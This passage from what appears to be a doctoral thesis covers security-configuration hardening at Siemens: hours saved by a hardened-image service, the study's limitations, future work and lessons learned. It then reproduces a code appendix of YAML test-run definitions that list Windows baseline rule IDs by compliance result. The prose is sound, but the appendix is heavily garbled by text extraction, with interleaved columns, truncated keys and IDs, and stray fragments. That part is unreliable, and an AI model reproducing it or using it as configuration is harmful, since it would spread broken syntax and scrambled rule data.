User C and User D did not harden their images before. Although it is progress that our
tools enabled them to harden their software in the first place, it tells nothing about the time
savings. However, User A and User B reported that the services saved them 100 hours per
image, i.e., 1000 hours and 500 hours in total. User E even reported more than 1000 hours
per image. However, we think that they overlooked the per image in the question. Thus, we
calculate with the 1000 hours, not 1000 hours times the number of images. This means that
our tools helped to save more than 2,500 hours of hardening for these three users in the
short time since the service was started. If we multiply this with an hourly rate of 60 €-a
very conservative estimation for an IT professional in Germany — the savings accumulate to
150,000€ for these three users alone. Since the hardened image service already saved many
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User Hardened images used Hours saved per image
User A 10 100
User B 50 100
User C 50 n/a
User D 10 n/a
User E 50 1000+

Table 8.1.: Users responses regarding the hardened image services.

hours in its early stages, it is now actively promoted within Siemens. In the future, this
might also be sold as a service to external customers. Thus, although we could not gather
empirical data on how our approach prevents security incidents, this limited case study
indicates that our tools made the security configuration more efficient.

8.3.2. Focus on the Technical Perspective

During this thesis, we classify the handling of configuration hardening and see this usually
as a binary decision, i.e., there are good and bad ways to do it. Furthermore, we almost
exclusively see the problem of configuration from the technical, security perspective: There
are settings, and the administrators must set them to secure values! However, there are
other perspectives on this problem, e.g., the behavioral or psychological perspective. Let us
assume that we configure a system in a company securely. Nevertheless, the employees
cannot do their work anymore or are annoyed by the security measures. Thus, they find
ways to circumvent the security measures and do their work as they want. This bypassing
of the security measure might be more dangerous to the system’s security than the process
on the non-hardened system. We did not investigate into these potential side effects of
successful configuration hardening.

8.3.3. Focus on Windows

The approaches we presented in this thesis are, in theory, independent of the software used.
In practice, we implemented and evaluated our tools primarily for Windows and evaluated
them. The first reason is that Windows-related security-configuration guides have been the
main priority within the collaboration project between Siemens and the TUM. The second
reason is that when this project started, there were fewer security-configuration tools for
Windows than for, e.g., Linux. Thus, we could create scientifically relevant knowledge and
increase the practical IT security with our work on Windows-related security-configuration
guides.

As we already mentioned in Section 3.4, we also conducted some experiments on other
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systems like Linux or Android. However, these PoC are not yet as sophisticated as the
Windows-related approaches proposed in this thesis.

8.3.4. Focus on the Center for Internet Security

This thesis mainly focuses on security-configuration guides of the CIS and the DISA.
However, there are other institutions publishing those guides, e.g., Red Hat for their systems
or the BSI in the SiSyPHuS Win10. In this thesis, we only showed that our approaches and
tools are compatible with guides from the CIS and Siemens. We do not see why they should
not work with other guides, however, due to practical reasons, we could not demonstrate
that. During this thesis, we tried to collaborate with the people at the BSI working on
SiSyPHuS Winl0 to achieve precisely this. Nonetheless, they were not interested in our
approaches or tools. Next, we tried trice to present how our tools could help implement
the guide resulting from the SiSyPHuS Win10 at the BSI IT-Sicherheitskongress. Our idea
was to find a partner organization or company to implement the SiSyPHuS Win10 in
their infrastructure, and we could have helped them with our tools to do so. However,
the program committee never accepted our submissions. Therefore, we could not show
the usefulness of our approaches in combination with non-CIS, respectively non-Siemens
guides.

8.3.5. Only one company

Many aspects presented in this thesis as state of the art reflect the security-configuration
process at Siemens we found when starting this thesis. During the course of this thesis,
the presented approaches shaped the current security-configuration processes at Siemens.
Of course, we also talked with other companies and organizations about their security-
configuration process. Most of them did not practice configuration hardening at all. Further-
more, despite our efforts, we could not establish any cooperation with another organization
or company to include another perspective on the whole configuration hardening process
in this thesis. We strongly believe that security configuration is relevant to all organizations
and companies, not only to large corporations like Siemens. Our approaches are not limited
to Siemens’s use case and can be generalized. We tried to demonstrate the usefulness of our
tools, e.g., in a case study at the TUM or in a case study with Bavarian municipalities in
cooperation with the LSI. In the first case, the people responsible for IT at the TUM were
not interested in increasing the IT security of TUM-PC with configuration hardening and
rejected our offer to help them in this regard. In the second case, discussions are going on,
but we could not realize it within the duration of this thesis. Thus, we could not demon-
strate that the approaches proposed in this thesis would also work in other organizations,
which is a limitation of the generalizability of this work.
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8.3.6. Focus on English Language and Certain Language Models

Another limitation of this thesis is a limitation prevalent in research on natural language.
Our published articles focused on the security-configurations guides in the English Lan-
guage, and we analyzed the descriptions of the configuration settings in the English Lan-
guage. Most NLP research has this bias towards English. We do not know whether the
techniques presented in this thesis will perform better or worse if we take, e.g., security-
configurations guides in French or German.

The second sub-limitation here is the selection of our language models. Researchers
constantly develop new and better models in the NLP domain. We could only evaluate
some of the existing models in our experiments, but not all. Thus, another language model
could improve the performance, e.g., identifying security-relevant configuration settings.
This is especially true for the new large language models like GPT-3 and ChatGPT. These
new and even more powerful models could solve problems older models like BERT could
not.

8.3.7. Lack of Good and Automated Tests

As stated in Section 6.8.2, our approach to automatically identify breaking rules relies on
good and automated tests. In practice, the administrators do not have such tests. Sometimes,
they test manually whether their systems still work, e.g., when applying a security patch.
However, they usually do not know what the users do with the systems. Moreover, even if
they knew, it would take much work to map all the use cases to automated tests. Let us take
the TUM-PC as an example. It is unrealistic for the administrators to cover all use cases
with automatic tests. Our approach to tackling this would be a combination of tests for core
functionalities and A /B testing with rapid user feedback opportunities in case of problems.

8.3.8. Economic Evaluation

It is tough to evaluate the effectiveness of the whole security-configuration process. It is
already difficult enough to assess whether the security-configuration process protects the
essential security properties of our company. However, it gets even more complicated if
we want to put the economic effort of the security-configuration process (i.e., hours spent
in creating and maintaining security-configuration guides, hours spent configuring and
assessing the infrastructure which decreases the productivity) concerning its economic
benefit (i.e., ransom spared, patents not stolen, et cetera). We could not conduct such
an extensive evaluation in this thesis. We could not collect data at Siemens about how
productive systems have improved security configuration as these data are highly sensitive.
We could also not collect data on the effort spent on the security-configuration process.
Since we do not have this data, we cannot show that our process is economically efficient
for an organization. Thus, reluctant decision makers can still take this as an argument to
dodge security configuration and keep the systems running in the default configuration.
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8.4. Future Work

The limitations presented in the previous section lead to the following future work:

8.4.1. Security Configuration baked in

The first research direction to be pursued is to include the security configuration on the side
of the software vendors/creators. We need machine-readable information about

¢ what configuration decisions a system has,

* what legal values we can set for those configuration decisions,

¢ which configuration decisions influence the system’s security, and

¢ which values out of the legal values we should set these configuration decisions to

In addition to this information, the software vendors of wide-spread software like Win-
dows should create a machine-readable and standardized security-configuration guide for
their software. Red Hat and their guides for their RHEL should be the role model for other
software vendors. Security experts can build the company-specific guides on these software
vendor guides instead of identifying the settings themselves as discussed in Chapter 4.
Having this information from the beginning makes the security-configuration process more
efficient.

8.4.2. Case Study on Security Configuration in Practice

The second future work we propose is a case study on security configuration in practice.
Dietrich et al. [24] asked the administrators which problems they saw regarding misconfig-
urations. For the case study, we would first need a company or organization, and assess
their security configuration regarding the used process and tools. Next, we would assess
the systems in their infrastructure and see how many rules they comply with, either with
company-internal or external guides. Afterward, we would introduce our improved pro-
cess for security configuration. Suppose there has yet to be an internal guide. In that case,
we will adapt an external guide, e.g., from the CIS, together with the company’s security
experts, to the company’s security requirements. If there is an internal guide, we will
automate its implementation using the techniques presented in Chapter 3. In the next
step, the company’s administrators would secure the systems based on the company’s
security-configuration guide. We would measure the time needed for the configuration it-
self, troubleshooting and adjusting in case of problems due to the misconfiguration. Finally,
we would assess the systems again and compare how many rules and which rules are now
compliant on the systems. Based on attacks like the ones presented in Chapter 5, we could
then argue how the security of the systems has increased. In the end, we could make an
overall verdict on the effectiveness of the process by comparing the security gains with the
effort spent.
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8.4.3. Open-Source Security-Configuration Guides

We believe that open-source security-configuration guides are the future of security con-
figuration. We can bring security configuration to a broader audience if more people can
access the guides and the resulting artifacts. Moreover, if more people can participate
and share their knowledge and experience, we can make knowledge discovery more ef-
ficient. Thus, the second future work would be to set up an open-source platform for
security-configuration guide.

8.4.4. Large-Scale Security Data Collection

To assess the usefulness of security-configuration guides and security measures in general,
we need more empirical data on security incidents, the underlying attack, and, in our
case, the values the security-relevant configuration settings had when the attack happened.
Only if we have this data can we empirically argue in favor or against specific security-
configuration rules. However, this data is susceptible, and thus, companies will not share
them easily. We could create such a data set via regulations, e.g., a law that forces companies
to report this data in case of an incident to a trustworthy third party. Alternatively, cyber
insurances could build such a data set based on the incidents their customers report.
SCRAM [14] and related approaches are a good step in this direction. However, to have
more general overview, we need way more data. Furthermore, we also need to include
the perspective of companies and organizations that are good at securing their assets.
Otherwise, we would have a selection bias in the data set towards organizations that
perform poorly in security aspects and, thus, have many incidents. In the end, this data
set can help us decide which security measures, e.g., configuration hardening, awareness
campaigns, installing an antivirus software, et cetera, help us protect our assets.

To summarize this section: Security configuration will continue to play a significant role
in securing devices and infrastructures in the future. Furthermore, we know that there are
still many open topics we can work on as a security and software engineering research
community. Thus, we will see more research and practical work in this direction.

8.5. Lessons Learned

We showed that the field of security configuration was so far not extensively covered in
academia before this thesis. We identified several significant challenges for the security
configuration and presented solutions based on state-of-the-art technologies. Furthermore,
we contributed several insights to the computer science research community. The general
learning of this thesis is how the research in different domains of computer science can profit
from each other. Advances in machine learning can lead to improvements in the software
engineering domain. Techniques developed to make software engineering more efficient
can help administrators configure their systems securely, thus increasing the system’s
security. There are even more of these improving connections between different computer
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8. Conclusion

science domains for computer scientists to discover. We encourage the reader of this thesis
to look into their research for such applications of existing techniques from a different
domain. Major software engineering conferences like ASE and ICSE have recognized this
trend. One can find more articles like the ones presented here, covering topics at the
intersection between different domains, e.g., software engineering and security. By learning
from what others did in other domains instead of reinventing the wheel repeatedly, we can
become more efficient in our research as the computer science community.

The second general learning from this thesis is that sometimes things seem at first sight
not complex or essential enough to conduct research about them, but in the end, one cannot
cover them entirely even in a Ph.D. thesis. Furthermore, that understanding this is not
like a quantum jump or a eureka moment but a process, and different people working
on the same topic might be at different points of this process at different times. Before
starting with the project on security configuration, we thought that topic was boring and
not worth working on. After the first meetings, we thought this should be easy, but it was
not. We then thought there should be existing tools, but there were not. Someone else
should have thought about this before and published some articles, but there were none.
We then developed our approaches and tools and introduced them at Siemens. After this
success, we thought others might have similar thoughts and problems. However, all people
we talked to were still at the beginning of this process, underestimating the complexity or
ignoring the importance.

In the end, security configuration was not a hot and trendy research topic. However,
it was exciting to work on a real-world problem and use state-of-the-art research to help
people to do their job. Moreover, this is what computer science and software engineering
are ultimately all about: help people in achieving their goals.
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45
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48
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50
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52

A. Code Appendix

os_family: WINDOWS

os_image: WindowslO
os_image_version: 1809
static:

- id: validate_json_fi

le

type: examine_sfera_automation_json

validations:
- sub_type:
expected:

count

completely empty:

no_check_script:
no_impl_script:
- sub_type: by_id
expected:

completely empty:

< BL696-0248,
< BL696-0452,
< BL696-0620,
— BL696-0781,
<~ BL696-0986,

no_check_script:
no_impl_script:
— BL696-0856,
same_setting:

pol: [BL696-04

audit: []

inf: []
testruns:

— name: ACP333

testrun_siemens_ps_profile:

activities:

— id: initial_powers
type: siemens_ps_s
sub_type: check_al
validations:
— sub_type:

expected:
ignored_rules:
compliant_chec

count

non_compliant_checks:

empty_checks:

47
5
11

BL696-0249,
BL696-0474,
BL696-0639,
BL696-0793,
BL696-0989,

[BL696-0406,

[BL696-0031,
BL696-0938,

87,

[BL696-0011,

BL696-0260,
BL696-0486,
BL696-0641,
BL696-0816,
BL696-7452]

BL696-0988]

BL696-3689]

acp333
hell_check
cripts
1
0
ks: 38
486

46

error_occurred_checks: 0

unknown_checks

- sub_type: by_id
result:
check_ids: []

- sub_type: by_id
result: complian
check_ids: [BL69
< BL696-0319,
< BL696-0806,
< BL696-1176,
< BL696-1886,

- sub_type: by_id
result: empty_ch
check_ids: [BL69

< BL696-0248,
< BL696-0452,
— BL696-0620,
— BL696-0793,
< BL696-0989,

- sub_type: by_id
result:
check_ids: [BL69

BL696-0248,
BL696-0425,
BL696-0613,
BL696-0769,
BL696-0925,
— sub_type: by_id

result:

check_ids: []

: 51

ignored_rules

t_checks
6-0021,

BL696-0336,
BL696-0892,
BL696-1241,
BL696-1901,

ecks

6-0011,
BL696-0249,
BL696-0474,
BL696-0639,
BL696-0816,
BL696-7452]

unknown_checks

6-0011,
BL696-0249,
BL696-0452,
BL696-0619,
BL696-0781,
BL696-0941,

BL696-0036,

BL696-0118,

BL696-0118,

BL696-0343,
BL696-0915,
BL696-1351,
BL696-2741]

BL696-0260,
BL696-0486,
BL696-0641,
BL696-0831,

BL696-0260,
BL696-0468,
BL696-0620,
BL696-0786,
BL696-0953,

error_occurred_checks

BL696-0118,

BL696-0468,
BL696-0124,

BL696-0041,

BL696-0126,

BL696-0126,

BL696-0295,
BL696-0536,
BL696-0687,
BL696-0831,

BL696-0361,
BL696-0970,
BL696-1456,

BL696-0295,
BL696-0536,
BL696-0687,
BL696-0871,

BL696-0295,
BL696-0474,
BL696-0639,
BL696-0793,
BL696-0986,

BL696-0126,

BL696-0786,
BL696-0172,

BL696-0146,

BL696-0133,

BL696-0133,

BL696-0305,
BL696-0561,
BL696-0707,
BL696-0871,

BL696-0362,
BL696-0976,
BL696-1541,

BL696-0305,
BL696-0561,
BL696-0707,
BL696-0903,

BL696-0305,
BL696-0486,
BL696-0641,
BL696-0816,
BL696-0989,

BL696-0133,

BL696-0830,
BL696-0227,

BL696-0151,

BL696-0161,

BL696-0161,

BL696-0346,
BL696-0590,
BL696-0711,
BL696-0903,

BL696-0381,
BL696-0988,
BL696-1701,

BL696-0346,
BL696-0590,
BL696-0716,
BL696-0925,

BL696-0346,
BL696-0536,
BL696-0687,
BL696-0830,
BL696-1626,

BL696-0161,

BL696-0196,

BL696-0167,

BL696-0167,

BL696-0167,
BL696-0398, BL696-0411,
BL696-0602, BL696-0613,
BL696-0716, BL696-0726,
BL696-0925, BL696-0941,

BL696-1626]
BL696-0326,

BL696-0362,

BL696-0227,
BL696-0446, BL696-0456,
BL696-1046, BL696-1056,
BL696-1716, BL696-1731,

BL696-0201,
BL696-0398, BL696-0411,
BL696-0602, BL696-0613,
BL696-0726, BL696-0769,
BL696-0941, BL696-0953,

BL696-0201,
BL696-0398, BL696-0406,
BL696-0561, BL696-0590,
BL696-0707, BL696-0716,
BL696-0831, BL696-0871,
BL696-7452]

BL696-0201,

BL696-0476,

BL696-0425,
BL696-0619,
BL696-0769,
BL696-0953,

BL696-0780,

BL696-0266,

BL696-0731,
BL696-1126,
BL696-1786,

BL696-0221,

BL696-0425,
BL696-0619,
BL696-0781,
BL696-0986,

BL696-0221,

BL696-0411,
BL696-0602,
BL696-0726,
BL696-0903,
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53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

73
74
75
76
77
78

79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

A. Code Appendix

- id: apply_all
type: siemens_ps_scripts
sub_type: apply_all
#mode: one-by-one
for_disruptive_apply_type: force
# 0198 and 0406 lead to error in implementation, which stops the pipeline.
ignored_rules: [BL696-0896, BL696-0949, BL696-1621, BL696-3116, BL696-0562] #,BL696-0198,BL696-0406]
validations:
— sub_type: count
expected:
applied rules: 461
applied_automations: 515
ignored_rules: 5
not_applied rules: 55
not_applied automations: 55
empty_automations: 55
disruptive_automations: 0
- sub_type: by_id
result: not_applied_automations
check_ids: [BL696-0011, BL696-0031, BL696-0118, BL696-0124, BL696-0126, BL696-0133, BL696-0161, BL696-0167
BL696-0172, BL696-0201, BL696-0221, BL696-0227, BL696-0248, BL696-0249, BL696-0260, BL696-0295, BL696-0305,
BL696-0326, BL696-0346, BL696-0362, BL696-0398, BL696-0411, BL696-0425, BL696-0452, BL696-0474, BL696-0476
BL696-0486, BL696-0536, BL696-0561, BL696-0590, BL696-0602, BL696-0613, BL696-0619, BL696-0620, BL696-0639
BL696-0641, BL696-0687, BL696-0707, BL696-0716, BL696-0726, BL696-0769, BL696-0781, BL696-0793, BL696-0816
BL696-0831, BL696-0856, BL696-0871, BL696-0903, BL696-0925, BL696-0941, BL696-0953, BL696-0986, BL696-0988
BL696-0989, BL696-7452]
b_type: by_id
result: ignored_rules
check_ids: [BL696-3116, BL696-0562, BL696-0896, BL696-1621, BL696-0949
- sub_type: by_id
result: empty_automations
check_ids: [BL696-0031, BL696-0249, BL696-0452, BL696-0362, BL696-0988, BL696-0716, BL696-0986, BL696-0620
BL696-0411, BL696-0781, BL696-0816, BL696-0326, BL696-0172, BL696-0227, BL696-0726, BL696-0831, BL696-0536
BL696-0346, BL696-0707, BL696-0161, BL696-0769, BL696-0124, BL696-0602, BL696-0118, BL696-0941, BL696-0248
BL696-0561, BL696-0641, BL696-0126, BL696-0687, BL696-0953, BL696-0639, BL696-0925, BL696-0425, BL696-0619
BL696-0989, BL696-0590, BL696-0260, BL696-0903, BL696-0474, BL696-0011, BL696-0856, BL696-0295, BL696-0167,
BL696-0221, BL696-0476, BL696-0398, BL696-0871, BL696-0486, BL696-0201, BL696-7452, BL696-0305, BL696-0793,
BL696-0133, BL696-0613]
b_type: by_id
result: error_occurred_checks
check_ids: ['null']
— id: check-after-apply-all-with-ps
type: siemens_ps_scripts
sub_type: check_all
validations:
- sub_type: count
expected:
ignored_rules: 0
compliant_checks: 510
non_compliant_checks: 14
empty_checks: 46
error_occurred_checks: 0
unknown_checks: 51
- sub_type: by_id
result: ignored_rules
check_ids: []
- sub_type: by_id
result: compliant_checks

U

gllllld
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99

100

101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118

119
120

A. Code Appendix

check_ids:

[BL696-0001,

BL696-0006,

BL69

BL696-0051,
BL696-0106,
BL696-0156,
BL696-0197,
BL696-0226_sub_1,
BL696-0261,
BL696-0306,
BL696-0313_sub_0,
BL696-0314_sub_2,
BL696-0341,
BL696-0386,
BL696-0456,
BL696-0521,
BL696-0581,
BL696-0631,
BL696-0681,
BL696-0711_sub_1,
BL696-0746,
BL696-0780_sub_0,
BL696-0819,
BL696-0851,
BL696-0915,
BL696-0938_sub_0,
BL696-0971_sub_1,
BL696-1027,
BL696-1101_sub_0,
BL696-1166,
BL696-1206,
BL696-1251,
BL696-1341,
BL696-1421,
BL696-1481,
BL696-1551_sub_0,

BL696-
BL696-
BL696-
BL696-

BL696—
BL696—

BL696—
BL696—
BL696-
BL696-
BL696—
BL696—
BL696-

BL696-

BL696-
BL696-
BL696—

BL696—

BL696—
BL696—
BL696—
BL696-
BL696-
BL696—

0056,
0111,

BL696-0061,
BL696-0116,
0166, BL696-0171,
0198, BL696-0206,
BL696-0227, BL696-—
0266, BL696-0271,
0311, BL696-0312_s
BL696-0313_sub_1,
BL696-0314_sub_3,
0343, BL696-0353,
0391, BL696-0396,
0461, BL696-0466,
0522, BL696-0526,
0586, BL696-0596,
0636, BL696-0646,
0686, BL696-0689,
BL696-0721_sub_0,
0751, BL696-0756,
BL696-0780_sub_1,
0821_sub_0, BL696-—
0866, BL696-0876,
0916, BL696-0920,
BL696-0946, BL696-
BL696-0971_sub_2,
1031, BL696-1036,
BL696-1101_sub_1,
1171, BL696-1176,
1211, BL696-1221,
1266, BL696-1276,
1351, BL696-1366,
1426, BL696-1436,
1486, BL696-1491,
BL696-1551_sub_1,

A A A A R A A

BL696-1831,

A A A A

BL696-1551_sub_6,
BL696-1601,
BL696-1671_sub_2,
BL696-1721,
BL696-1811,

BL696-1886,
BL696-1961_sub_0,
BL696-1981_sub_2,
BL696-2053,
BL696-2596_sub_3,
BL696-2891_sub_3,

BL696-7216,
BL696-7286,
BL696-7351,
BL696-7446,
BL696-7501,
BL696-7566,
BL696-7631,
BL696-7726,
BL696-7801,
BL696-7881,
BL696-7926,
BL696-7976,

BL696-1611,
BL696-1686,
BL696-1731,
BL696-1821,
BL696-1841,
BL696-1891,

BL696-2096,

BL696-7226,
BL696-7296,
BL696-7356,
BL696-7461,
BL696-7520,
BL696-7571,
BL696-7636,
BL696-7731,
BL696-7806,
BL696-7886,
BL696-7931,
BL696-7981,

- sub_type: by_id

result:
BL696-0031:
BL696-0124:
BL696-0172:
BL696-0227:
BL696-0319:
BL696-0326:
BL669-0450:
BL696-0562:
BL696-0856:
BL696-0896:

HoW W W

B

BL696-0949:
BL696-1027:
BL696-1621:
BL696-3116:
check_ids:
<

S Y e e e e e W W

BL696-0931_sub_0:

[BL696-0031,
BL696-0896,

non_compliant_checks

checks for TPM 2.0
rule has no
rule has no
rule has no
SHOULD WORK
rule has no
ticket #13

BLACKLISTED
rule has no
BLACKLISTED RULE

ticket #14
BLACKLISTED RULE

Unclear:
BLACKLISTED RULE
BLACKLISTED RULE

RULE

BL696-0931_sub_0,

sub_type: by_id

result:

empty_checks

BL696-0124,

BL696-1551_sub_7,
BL696-1636,

BL696-

BL696-1736,
BL696-1826,
BL696-1856_sub_0,
BL696-1896,
BL696-1961_sub_1,
BL696-1981_sub_3,
BL696-2261,
BL696-2741,
BL696-3654,

BL69
BL69

BL696-7231,
BL696-7301,
BL696-7361,
BL696-7471_sub_0,
BL696-7521,
BL696-7576,
BL696-7641,
BL696-7751,
BL696-7816,
BL696-7896,
BL696-7941,
BL696-7986,

module,

implementation
lementation
lementation
NOW (wrong expected value)
implementation

implementation

specific problem on

BL69
BL696-

6-0016,
BL696-0066,
BL696-0121,
BL696-0176,
BL696-0211,
0231, BL696-0236,
BL696-0276,
ub_0,
BL696-0313_sub_2,
BL696-0315_sub_0,
BL696-0361,
BL696-0416,
BL696-0467,
BL696-0531,
BL696-0601,
BL696-0651,
BL696-0691,
BL696-0721_sub_1,
BL696-0759,
BL696-0780_sub_2,
0821_sub_1,
BL696-0881,
BL696-0926,
0951, BL696-0956,
BL696-0976,
BL696-1041,
BL696-1101_sub_2,
BL696-1181,
BL696-1226,
BL696-1281,
BL696-1371,
BL696-1441,
BL696-1516,
BL696-1551_sub_2,
BL696-1556,
BL696-1646,
1691, BL696-1696,
BL696-1746,
BL696-1830,

BL696-1901,
BL696-1966,

6-2754,
6-3689,

BL696-4223_sub_0, BL696-4223_sub_1, BL696-4537,
BL696-5551, BL696-5557, BL696-5871, BL696-6444,
BL696-7011, BL696-7016, BL696-7021, BL696-7026,
BL696-7091, BL696-7096, BL696-7101, BL696-7111_sub_0,
BL696-7146, BL696-7151, BL696-7156, BL696-7161,

BL696-7246,
BL696-7306,
BL696-7366,

BL696-7526,
BL696-7581,
BL696-7642,
BL696-7761,
BL696-7831,
BL696-7906,
BL696-7946,

which is not present

test machine?

6-0172,
0949, BL696-1621,

BL696-0021,

BL696-
BL696-
BL696—
BL696-

BL696—
BL696-0312_sub_1,

BL696—
BL696-
BL696-
BL696—
BL696—
BL696—
BL696—

BL696-

BL696-
BL696-
BL696—

BL696—
BL696—

BL696—
BL696—
BL696-
BL696-
BL696—
BL696—

BL696-
BL696-

BL696-

BL696-1856_sub_1,
BL696-1906,
BL696-1971,
BL696-1981_sub_4,
BL696-2319_sub_0,
BL696-2830,
BL696-3906_sub_0,
BL696-4652,
BL696-6453,
BL696-7036,

BL696-7186,
BL696-7251,
BL696-7316,
BL696-7371,
BL696-7471_sub_1,
BL696-7536,
BL696-7586,
BL696-7651,
BL696-7766,
BL696-7851,
BL696-7911,
BL696-7951,
BL696-8451_sub_0,

BL696-0326,

BL696-0026,
0076, BL696-0081,
0130, BL696-0136,
0181, BL696-0186,
0212, BL696-0216,
BL696-0241,
0277, BL696-0284,

BL696-0313_sub_3,
BL696-0316,
0362, BL696-0372,
0421, BL696-0426,
0487, BL696-0491,
0541, BL696-0556,
0606, BL696-0611,
0655, BL696-0656,
0696, BL696-0701,
BL696-0731,
0761, BL696-0766,
BL696-0780_sub_3,
0821_sub_2,
0886, BL696-0891,
0928,
BL696-0961,
0981, BL696-0988,
1046, BL696-1056,
BL696-1116,
1186,
1231,
1291, BL696-1296,
1381, BL696-1386,
1446, BL696-1451,
1526_sub_0,

BL696-0036,

BL696-0086,
BL696-0141,
BL696-0191,
BL696-0223,
BL696-0246,
BL696-0286,
BL696-0312_sub_2,

BL696-0251,

BL696-0331,

BL696-0739,

BL696-0841,

BL696-0970,

BL696-1126,

BL696-1551_sub_3, BL696-1551_sub_4,

1576, BL696-1581,
1651, BL696-1661,
BL696-1701,
1766, BL696-1776,

BL696-1861,
BL696-1916,

BL696-1981_sub_5,
BL696-2596_sub_0,
BL696-2891_sub_0,
BL696-3934,
BL696-4653,
BL696-6476,
BL696-7041,
BL696-7111_sub_1,
BL696-7191,
BL696-7261,
BL696-7326,
BL696-7381,

BL696-7541,
BL696-7591,
BL696-7676,
BL696-7771,
BL696-7856,
BL696-7916,
BL696-7956,
BL696-8451_sub_1,

on the VM

BL696-0450,
BL696-2088,

BL696-1586,
BL696-1671_sub_0,
BL696-1706,
BL696-1786,
BL696-1866,

BL696-1981_sub_0,

BL696-7471_sub_2,

BL696-0476,
BL696-3116]

BL696-1711,

BL696-1941,

BL696-1986,

BL696-3958,
BL696-4754,
BL696-6483,
BL696-7051,
BL696-7121,
BL696-7196,
BL696-7266,
BL696-7331,
BL696-7411,

BL696-7546,
BL696-7596,
BL696-7681,
BL696-7776,
BL696-7866,

BL696-7961,
BL696-9356]

BL696-0041,

BL696-
BL696-
BL696-
BL696—

BL696—
BL696-0312_sub_3,
BL696-0314_sub_0,
BL696-0319,
BL696-0375,
BL696-0431,
BL696-0496,
BL696-0564,
BL696-0616,
BL696-0661,
BL696-0706,
BL696-0736,
BL696-0768,
BL696-0796,
BL696-0836,
BL696-0892,
BL696-0931_sub_1,
BL696-0968,
BL696-1011,
BL696-1066,
BL696-1121,
BL696-1196_sub_0,
BL696-1236_sub_0,
BL696-1306,
BL696-1391,
BL696-1456,
BL696-1526_sub_1,

BL696—
BL696-
BL696-
BL696-
BL696—
BL696—
BL696—

BL696-
BL696-

BL696—
BL696-0931_sub_2,

BL696—
BL696—

BL696-1196_sub_1,
BL696-1236_sub_1,
BL696-
BL696—
BL696-
BL696—

BL696-

BL696-

BL696-1871,
BL696-1946,
BL696-1981_sub_1,
BL696-2033,
BL696-2596_sub_1,
BL696-2891_sub_1,
BL696-3987,
BL696-4876,
BL696-6489,
BL696-7066,
BL696-7126,
BL696-7206,
BL696-7271,
BL696-7345,
BL696-7416,
BL696-7481,
BL696-7556,
BL696-7616,
BL696-7701,
BL696-7781,
BL696-7871,
BL696-7921_sub_0,
BL696-7966,

BL696-0562,

BL696-0046,
0091, BL696-0096,
0146, BL696-0151,
0194, BL696-0196,
0226_sub_0,
BL696-0256,

0301, BL696-0303,

BL696-0314_sub_1,
BL696-0336,

0376, BL696-0381,
0441, BL696-0446,
0506, BL696-0511,
0571, BL696-0576,
0621, BL696-0626,
0666, BL696-0671,
0711_sub_0,

BL696-0743,

0771, BL696-0776,
0801, BL696-0806,
BL696-0846,

0906, BL696-0911,
BL696-0936,
BL696-0971_sub_0,
1016, BL696-1026,
1081, BL696-1096,
BL696-1156,

BL696-1201,
BL696-1241,
BL696-1336,
BL696-1416,
1461, BL696-1466,
1541, BL696-1546,
BL696-1551_sub_5,
1591, BL696-1596,
BL696-1671_sub_1,
BL696-1716,

1791, BL696-1801,

1311,
1411,

BL696-1881,
BL696-1951,

BL696-2034,
BL696-2596_sub_2,
BL696-2891_sub_2,

BL696-5456,
BL696-7006,
BL696-7086,
BL696-7136,
BL696-7211,
BL696-7276,
BL696-7346,
BL696-7426,
BL696-7496,

BL696-7561,
BL696-7626,
BL696-7721,
BL696-7786,
BL696-7876,
BL696-7921_sub_1,
BL696-7971,

BL696-0856,
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125
126
127
128
129
130
131
132
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134
135
136
137

138
139
140
141
142
143
144
145
146
147
148
149
150
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152
153

154
155
156

157
158
159

160
161
162

A. Code Appendix

check_ids: [BL696-0011, BL696-0118, BL696-0126, BL696-0133, BL696-0161, BL696-0167, BL696-0201, BL696-0221
<~ BL696-0248, BL696-0249, BL696-0260, BL696-0295, BL696-0305, BL696-0346, BL696-0398, BL696-0411, BL696-0425
<~ BL696-0452, BL696-0474, BL696-0486, BL696-0536, BL696-0561, BL696-0590, BL696-0602, BL696-0613, BL696-0619
— BL696-0620, BL696-0639, BL696-0641, BL696-0687, BL696-0707, BL696-0716, BL696-0726, BL696-0769, BL696-0781
— BL696-0793, BL696-0816, BL696-0831, BL696-0871, BL696-0903, BL696-0925, BL696-0941, BL696-0953, BL696-0986
— BL696-0989, BL696-7452]
- sub_type: by_id
result: unknown_checks
check_ids: [BL696-0011, BL696-0118, BL696-0126, BL696-0133, BL696-0161, BL696-0167, BL696-0201, BL696-0221
BL696-0248, BL696-0249, BL696-0260, BL696-0295, BL696-0305, BL696-0346, BL696-0398, BL696-0406, BL696-0411
BL696-0425, BL696-0452, BL696-0468, BL696-0474, BL696-0486, BL696-0536, BL696-0561, BL696-0590, BL696-0602
BL696-0613, BL696-0619, BL696-0620, BL696-0639, BL696-0641, BL696-0687, BL696-0707, BL696-0716, BL696-0726
BL696-0769, BL696-0781, BL696-0786, BL696-0793, BL696-0816, BL696-0830, BL696-0831, BL696-0871, BL696-0903
BL696-0925, BL696-0941, BL696-0953, BL696-0986, BL696-0989, BL696-1626, BL696-7452]
b_type: by_id
result: error_occurred_checks
check_ids: []
id: check-after-apply-all-with-ps—-gpresult
type: siemens_ps_scripts
sub_type: check_all
check_type: gpresult
validations:
- sub_type: compare
compare_with: check-after-apply-all-with-ps
overall expected change: improvement
expected:
rules_passed_only there: [BL696-0006, BL696-0016, BL696-0096, BL696-0111, BL696-0211, BL696-0421, BL696-0571
< BL696-0819, BL696-0881, BL696-1066, BL696-1156, BL696-1211, BL696-1251, BL696-1381, BL696-1436, BL696-15
< BL696-1601, BL696-1706, BL696-1711, BL696-1866, BL696-1896, BL696-7471, BL696-7596, BL696-7636
rules_unknown_only here: []
rules_unknown_only there: []
— sub_type: count
expected:
compliant_ checks: 485
ignored_rules: 0
empty_checks: 46
non_compliant_checks: 39
error_occurred_checks: 0
unknown_checks: 51
- sub_type: by_id
result: ignored_rules
check_ids: []
- sub_type: by_id
result: empty_checks
check_ids: [BL696-0011, BL696-0118, BL696-0126, BL696-0133, BL696-0161, BL696-0167, BL696-0201, BL696-0221
BL696-0248, BL696-0249, BL696-0260, BL696-0295, BL696-0305, BL696-0346, BL696-0398, BL696-0411, BL696-0425
BL696-0452, BL696-0474, BL696-0486, BL696-0536, BL696-0561, BL696-0590, BL696-0602, BL696-0613, BL696-0619
